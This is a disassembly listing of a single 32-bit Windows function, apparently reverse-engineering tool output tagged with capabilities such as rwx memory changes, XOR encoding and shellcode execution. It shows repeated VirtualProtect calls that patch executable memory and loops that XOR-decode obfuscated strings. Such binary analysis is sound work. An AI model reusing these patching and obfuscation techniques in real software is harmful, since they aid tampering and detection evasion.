Function at 0x10003a10
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10045838
mov eax, dword fs:[0]
push eax
sub esp, 0x34
mov eax, dword [0x1005c1c4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov al, byte [edi + 4]
test al, al
jne 0x10003d2e
mov dword [0x101aa8ec], 1
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [0x101aa764], eax
movzx eax, byte [edi + 0x50]
mov dword [0x101aa8a8], eax
movzx eax, byte [edi + 0x51]
mov dword [0x101aa934], eax
lea eax, [ebp - 0x40]
push eax
push 0x40
push 0x11
push 0x101aa8cc
call ebx
movups xmm0, xmmword [edi + 0x5c]
movups xmmword [0x101aa8cc], xmm0
movzx eax, byte [edi + 0x6c]
mov byte [0x101aa8dc], al
lea eax, [ebp - 0x40]
push eax
push dword [ebp - 0x40]
push 0x11
push 0x101aa8cc
call ebx
mov eax, dword [edi + 0x70]
mov dword [0x101aa924], eax
movzx eax, byte [edi + 0x75]
mov dword [0x101aa8b0], eax
lea eax, [ebp - 0x40]
push eax
push 0x40
push 8
push 0x101a8974
call ebx
movq xmm0, qword [edi + 0x7a]
lea eax, [ebp - 0x40]
push eax
push dword [ebp - 0x40]
movq qword [0x101a8974], xmm0
push 8
push 0x101a8974
call ebx
lea eax, [ebp - 0x40]
push eax
push 0x40
push 0x11
push 0x101a897c
call ebx
movups xmm0, xmmword [edi + 0x82]
movups xmmword [0x101a897c], xmm0
movzx eax, byte [edi + 0x92]
mov byte [0x101a898c], al
lea eax, [ebp - 0x40]
push eax
push dword [ebp - 0x40]
push 0x11
push 0x101a897c
call ebx
mov eax, dword [edi + 0x28]
test eax, eax
je 0x10003b5d
mov dword [0x101aa930], eax
lea eax, [ebp - 0x40]
push eax
push 0x40
push 0x20
push 0x101a34d0
call ebx
push 0x20
push 0x101a88c7
push 0x101a34d0
call fcn.1002a600
add esp, 0xc
lea eax, [ebp - 0x40]
push eax
push dword [ebp - 0x40]
push 0x20
push 0x101a34d0
call ebx
mov eax, dword [edi + 0x2c]
test eax, eax
je 0x10003ba3
mov dword [0x101aa8c4], eax
movzx eax, byte [edi + 0x7a]
inc al
mov byte [0x101a34f0], al
movzx eax, byte [edi + 0x7c]
add al, 2
mov byte [0x101a34f1], al
movzx eax, byte [edi + 0x7d]
add al, 3
mov byte [0x101a34f2], al
movzx eax, byte [edi + 0x7f]
add al, 4
mov byte [0x101a34f3], al
movzx eax, byte [edi + 0x80]
add al, 5
mov byte [0x101a34f4], al
mov eax, dword [edi + 0x30]
test eax, eax
je 0x10003be7
mov dword [0x101aa920], eax
lea eax, [ebp - 0x40]
push eax
push 0x40
push 0x11
push 0x101a34f5
call ebx
movups xmm0, xmmword [edi + 0x82]
movups xmmword [0x101a34f5], xmm0
mov al, byte [edi + 0x92]
mov byte [0x101a3505], al
lea eax, [ebp - 0x40]
push eax
push dword [ebp - 0x40]
push 0x11
push 0x101a34f5
call ebx
mov eax, dword [edi + 0x34]
test eax, eax
mov ecx, dword [0x101aa93c]
cmovne ecx, eax
mov eax, dword [edi + 0x38]
mov dword [0x101aa93c], ecx
test eax, eax
mov ecx, dword [0x101aa8c0]
cmovne ecx, eax
mov eax, dword [edi + 0x3c]
mov dword [0x101aa8c0], ecx
test eax, eax
mov ecx, dword [0x101aa8a4]
cmovne ecx, eax
mov eax, dword [edi + 0x40]
mov dword [0x101aa8a4], ecx
test eax, eax
mov ecx, dword [0x101aa75c]
cmovne ecx, eax
mov eax, dword [edi + 0x44]
mov dword [0x101aa75c], ecx
test eax, eax
mov ecx, dword [0x101aa760]
cmovne ecx, eax
mov eax, dword [edi + 0x48]
mov dword [0x101aa760], ecx
test eax, eax
mov ecx, dword [0x101aa76c]
cmovne ecx, eax
mov eax, dword [edi + 0x4c]
mov dword [0x101aa76c], ecx
test eax, eax
mov ecx, dword [0x101aa8f4]
cmovne ecx, eax
lea eax, [ebp - 0x40]
push eax
push 0x40
push 0x20
push 0x101aa778
mov dword [0x101aa8f4], ecx
call ebx
push 0x20
lea esi, [edi + 5]
push esi
push 0x101aa778
call fcn.1002a600
add esp, 0xc
lea eax, [ebp - 0x40]
push eax
push dword [ebp - 0x40]
push 0x20
push 0x101aa778
call ebx
push esi
call fcn.10005f70
movzx eax, byte [edi + 0x52]
add esp, 4
mov dword [0x101aa8f0], eax
movzx eax, byte [edi + 0x53]
mov dword [0x101aa938], eax
movzx eax, byte [edi + 0x54]
mov dword [0x101aa948], eax
movzx eax, byte [edi + 0x55]
mov dword [0x101aa8c8], eax
movzx eax, byte [edi + 0x56]
mov dword [0x101aa944], eax
movzx eax, byte [edi + 0x57]
mov dword [0x101aa940], eax
movzx eax, byte [edi + 0x58]
mov dword [0x101aa8b8], eax
mov ax, word [edi + 0x94]
mov word [0x101aa92c], ax
movzx eax, byte [edi + 0x59]
mov dword [0x101aa770], eax
movzx eax, byte [edi + 0x5a]
mov dword [0x101aa94c], eax
movzx eax, byte [edi + 0x5b]
mov dword [0x101aa8a8], 0
mov dword [0x101aa934], 0
mov dword [0x101a34bc], eax
jmp 0x10003e49
movzx eax, al
dec eax
cmp eax, 5
ja case.default.0x10003d3b
jmp dword [eax*4 + 0x10003e68]
push 0x1388
push 8
jmp 0x10003e30
push 0x1388
push 9
jmp 0x10003e30
mov edx, 9
xor ecx, ecx
mov al, byte [ecx + str.RNA_.MQXI5_va9nrru_qAX]
xor al, dl
mov byte [ebp + ecx - 0x3c], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x28
jb 0x10003d61
mov byte [ebp - 0x14], 0
mov dword [ebp - 4], 0
lea eax, [ebp - 0x3c]
push 0x1388
jmp 0x10003e35
mov edx, 0x2d
xor ecx, ecx
nop dword [eax + eax]
mov al, byte [ecx + str.vjbgwai]
xor al, dl
mov byte [ebp + ecx - 0x3c], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x25
jb 0x10003da0
mov byte [ebp - 0x17], 0
mov dword [ebp - 4], 1
lea eax, [ebp - 0x3c]
push 0x1388
jmp 0x10003e35
mov edx, 0xaf
xor ecx, ecx
mov al, byte [ecx + 0x10054630]
xor al, dl
mov byte [ebp + ecx - 0x38], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x23
jb 0x10003dd4
mov byte [ebp - 0x15], 0
mov dword [ebp - 4], 2
lea eax, [ebp - 0x38]
push 0x1388
jmp 0x10003e35
cmp dword [0x101a34c4], 0
jne 0x10003e49
push 0
push ecx
push 0
push 0x1001e330
push ecx
mov dword [0x101a34c4], 3
call fcn.1001def0
add esp, 0x14
jmp 0x10003e49
push 0x1388
push 0xd
call fcn.10016fa0
push eax
push ecx
mov edx, 1
mov ecx, 0x101a8ad8
call fcn.1001d5f0
add esp, 0xc
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10027a55
mov esp, ebp
pop ebp
ret